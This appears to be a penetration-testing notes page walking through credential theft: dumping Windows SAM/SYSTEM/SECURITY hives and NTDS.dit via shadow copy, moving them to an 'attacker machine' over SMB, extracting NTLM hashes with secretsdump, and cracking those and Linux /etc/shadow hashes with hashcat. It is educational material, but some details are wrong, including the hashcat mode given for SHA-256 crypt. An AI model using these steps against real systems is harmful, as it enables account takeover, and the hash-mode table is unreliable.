> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/password-cracking/hash-cracking/window-and-linux-hash-cracking.md).

# Window & Linux Hash Cracking

#### **Windows Password Storage Locations**

Windows stores password hashes in the **SAM (Security Account Manager)** database. The password hashes are protected using **LSA Secrets** and stored in the following locations:

1. **`C:\Windows\System32\config\SAM`** (Local User Account Hashes)
2. **`C:\Windows\System32\config\SYSTEM`** (Key to decrypt SAM)
3. **`C:\Windows\NTDS\NTDS.dit`** (Active Directory Password Hashes)
4. **Registry Hives:**
   * `HKEY_LOCAL_MACHINE\SAM`
   * `HKEY_LOCAL_MACHINE\SYSTEM`
   * `HKEY_LOCAL_MACHINE\SECURITY`

***

### **Extracting Windows Password Hashes (Local Accounts)** 

**Requires admin user privilege**

#### **Step 1: Dump the SAM, SYSTEM, and SECURITY Hives**

Run the following commands to dump password-related registry hives:

```powershell
mkdir C:\password
```

```powershell
cd C:\password
```

```powershell
reg save HKLM\SAM SAM
```

```powershell
reg save HKLM\SYSTEM system
```

```powershell
reg save HKLM\SECURITY security
```

#### Step 2: Transfer the Files to an Attacker Machine

Share the **password folder** on the network and access it from another machine.

**Example with SMB server:** There are several ways to transfer files from the target machine to the attacker machine. Refer to: [File Transfer Guide](http://riteshs4hu.github.com/File-Transfer)

```bash
smbclient //{target-ip}/password -U {Username}
```

Download the dumped files:

```bash
get sam
get system
get security
```

#### **Step 3: Extract Hashes from SAM and SYSTEM**

Using `impacket-secretsdump` to extract hashes:

```bash
impacket-secretsdump -sam sam -system system -security security LOCAL 
```

**Example Output (NTLM Hash Format):**

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e5f86975f59371b98c8df1694f2ddbce:::
```

* **Username:** `Administrator`
* **RID:** `500`
* **LM Hash:** `aad3b435b51404eeaad3b435b51404ee` (If all `aad3b4...`, means LM hash is disabled)
* **NTLM Hash:** `e5f86975f59371b98c8df1694f2ddbce` (Used for cracking)

#### Step 4: Create NTLM Hashes File for Cracking

Extract NTLM hashes:

```bash
cat win-pass.sam | cut -d : -f 4 > hash.txt
```

#### **Step 5: Crack NTLM Hash Using Hashcat**

Identify the **hash type**:

```bash
hashid -m hash.txt
```

**NTLM uses Mode:** `1000`

```bash
hashcat -a 0 -m 1000 hash.txt /usr/share/wordlists/rockyou.txt
```

***

### **Extracting Active Directory Hashes (Domain Controller)**

#### **Step 1: Create a Shadow Copy of the Drive**

```powershell
vssadmin Create Shadow /for=C:
```

Example Output:

```
Successfully created shadow copy for 'C:\'
Shadow Copy ID: {cf651696-1127-4a96-a35f-97c0581bda7a}
Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
```

This allows access to **NTDS.dit** (Active Directory database) while it is in use.

#### **Step 2: Copy the Required Files**

```powershell
mkdir C:\temp
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\
```

#### Step 3: Transfer Files to the Attacker Machine

**Example with SMB server:** There are several ways to transfer files from the target machine to the attacker machine. Refer to: [File Transfer Guide](http://riteshs4hu.github.com/File-Transfer)

```bash
smbclient //{target-ip}/password -U {Username}
```

```bash
get ntds.dit
get SYSTEM
```

#### **Step 4: Extract Hashes from NTDS.dit**

```bash
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL -outputfile win-adpass
```

Extract NTLM hashes:

```bash
cat win-adpass.ntds | cut -d : -f 4 > adhash.txt
```

#### **Step 5: Crack NTLM Hashes**

```bash
hashcat -a 0 -m 1000 adhash.txt /usr/share/wordlists/rockyou.txt
```

***

## **Linux Hash Cracking**

#### **Linux Password Storage**

Linux stores user password hashes in:

* **`/etc/passwd`** (User accounts, but no passwords)
* **`/etc/shadow`** (Contains actual password hashes)

#### **Extracting Linux Password Hashes**

1. **Combine `/etc/passwd` and `/etc/shadow` into crackable format**

```bash
unshadow /etc/passwd /etc/shadow | grep -v "\!" | grep -v "*" | cut -d : -f 2 > hash.txt
```

2. **Linux Hash Formats in `/etc/shadow`**

```
$1$  →  MD5 Crypt       (Hashcat Mode: 500)
$2$  →  Blowfish        (Hashcat Mode: 3200)
$3$  →  NTLM            (Hashcat Mode: 1000)
$5$  →  SHA-256 Crypt   (Hashcat Mode: 1400)
$6$  →  SHA-512 Crypt   (Hashcat Mode: 1800)
```

#### **Cracking Linux Password Hashes with Hashcat**

Example of **SHA-512 Crypt**:

```bash
hashid -m hash.txt
```

Output:

```
[+] SHA-512 Crypt [Hashcat Mode: 1800]
```

Run Hashcat:

```bash
hashcat -a 0 -m 1800 hash.txt /usr/share/wordlists/rockyou.txt
```

***

### **Online Hash Cracking Resources**

If Hashcat fails, try online services:

* 🔗 <https://hashes.com/en/decrypt/hash>
* 🔗 <https://crackstation.net/>
* 🔗 <https://gchq.github.io/CyberChef/>